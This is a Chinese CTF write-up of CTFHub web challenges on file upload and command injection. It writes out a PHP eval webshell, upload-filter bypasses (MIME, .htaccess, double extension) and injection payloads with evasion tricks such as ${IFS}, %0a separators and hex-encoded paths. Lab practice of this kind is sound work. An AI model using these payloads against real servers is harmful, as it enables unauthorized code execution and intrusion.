CTFHub之web基础刷题记录(续集)

5.文件上传

无验证

直接上传一句话木马<?php @eval($_POST['pass']);?>
CTFHub之web基础刷题记录(续集)
打开蚁剑,输入密码连接,注意URL地址是一句话木马的路径
CTFHub之web基础刷题记录(续集)
即可得到flag
CTFHub之web基础刷题记录(续集)

前端验证

上传.php文件,发现不允许上传,因为是js前端检验,可直接抓包绕过再改回后缀名即可
CTFHub之web基础刷题记录(续集)
上传2.jpg,再抓包改回2.php,发现上传成功
CTFHub之web基础刷题记录(续集)

MIME绕过

抓包,将Content-Type类型改为jpg,png或gif的格式即可
CTFHub之web基础刷题记录(续集)
这里我用jpg格式发现上传失败了,改用gif格式上传成功的

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
CTFHub之web基础刷题记录(续集)
由于之前写过类似的了,这里直接用,先上传.htaccess,上传成功
CTFHub之web基础刷题记录(续集)
接下来上传xxx.jpg,发现并未以jpg格式解析,而是php格式解析的,接下来一句话即可
CTFHub之web基础刷题记录(续集)

双写后缀

上传php发现上传成功,但php后缀被删除了,依照题目应该要双写后缀
CTFHub之web基础刷题记录(续集)
上传2.pphphp成功变为2.php,即可执行一句话获得flag
CTFHub之web基础刷题记录(续集)

6.RCE

命令注入

首先ls查看有哪些文件www.baidu.com ; ls
CTFHub之web基础刷题记录(续集)
发现有216872332227313.php,cat一下www.baidu.com ; cat 216872332227313.php,然后在源代码发现flag
CTFHub之web基础刷题记录(续集)

过滤cat

127.0.0.1 ; ls先查看文件,发现了flag_169413020618490.php
CTFHub之web基础刷题记录(续集)
发现cat被过滤了,那么我们就要构造cat,在linux下可尝试构造
CTFHub之web基础刷题记录(续集)
127.0.0.1 ; a=ca;b=t;$a$b flag_169413020618490.php,在源码得到flag
CTFHub之web基础刷题记录(续集)

过滤空格

先进行过滤空格总结,在linux环境下进行试验
1:<> 2:< 3:${IFS}
CTFHub之web基础刷题记录(续集)
由于${IFS}没有什么问题,用它来解题,同理先查看文件 127.0.0.1;ls
CTFHub之web基础刷题记录(续集)

然后读取flag 127.0.0.1;cat${IFS}flag_23126758913777.php,源码得到flag
CTFHub之web基础刷题记录(续集)

过滤目录分隔符

首先查看文件127.0.0.1 ; ls
CTFHub之web基础刷题记录(续集)
发现有flag_is_here,我们要进入目录下拿flag,127.0.0.1 ; cd flag_is_here ; ls
CTFHub之web基础刷题记录(续集)
然后将ls改为cat flag即可127.0.0.1 ; cd flag_is_here ; cat flag_1918363312881.php,源码得到flag
CTFHub之web基础刷题记录(续集)

过滤运算符

和前面的题一样,思路一模一样。。。。这里没有过滤 ;差评。127.0.0.1 ; ls
CTFHub之web基础刷题记录(续集)
127.0.0.1 ; cat flag_225062507519043.php
CTFHub之web基础刷题记录(续集)

综合过滤练习

CTFHub之web基础刷题记录(续集)
这就真的全过滤了,这里就要用到另外两种命令分隔符了%0a(换行符) 、%0d(回车符),并且在url下写入:
?ip=127.0.0.1%0als#
CTFHub之web基础刷题记录(续集)
接下来查看flag_is_here文件夹,我这里使用Hex编码查看,
?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")#
CTFHub之web基础刷题记录(续集)
CTFHub之web基础刷题记录(续集)
得到了flag的文件名,接下来就是读取了,由于过滤了cat,可以用ca''tca""t来绕过,并且对下面进行16进制编码
ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x36\x33\x31\x38\x31\x35\x30\x35\x33\x33\x34\x2e\x70\x68\x70")#
CTFHub之web基础刷题记录(续集)
CTFHub之web基础刷题记录(续集)
总之技巧很多,可以参考文章:关于命令执行以及常见的一些绕过过滤的方法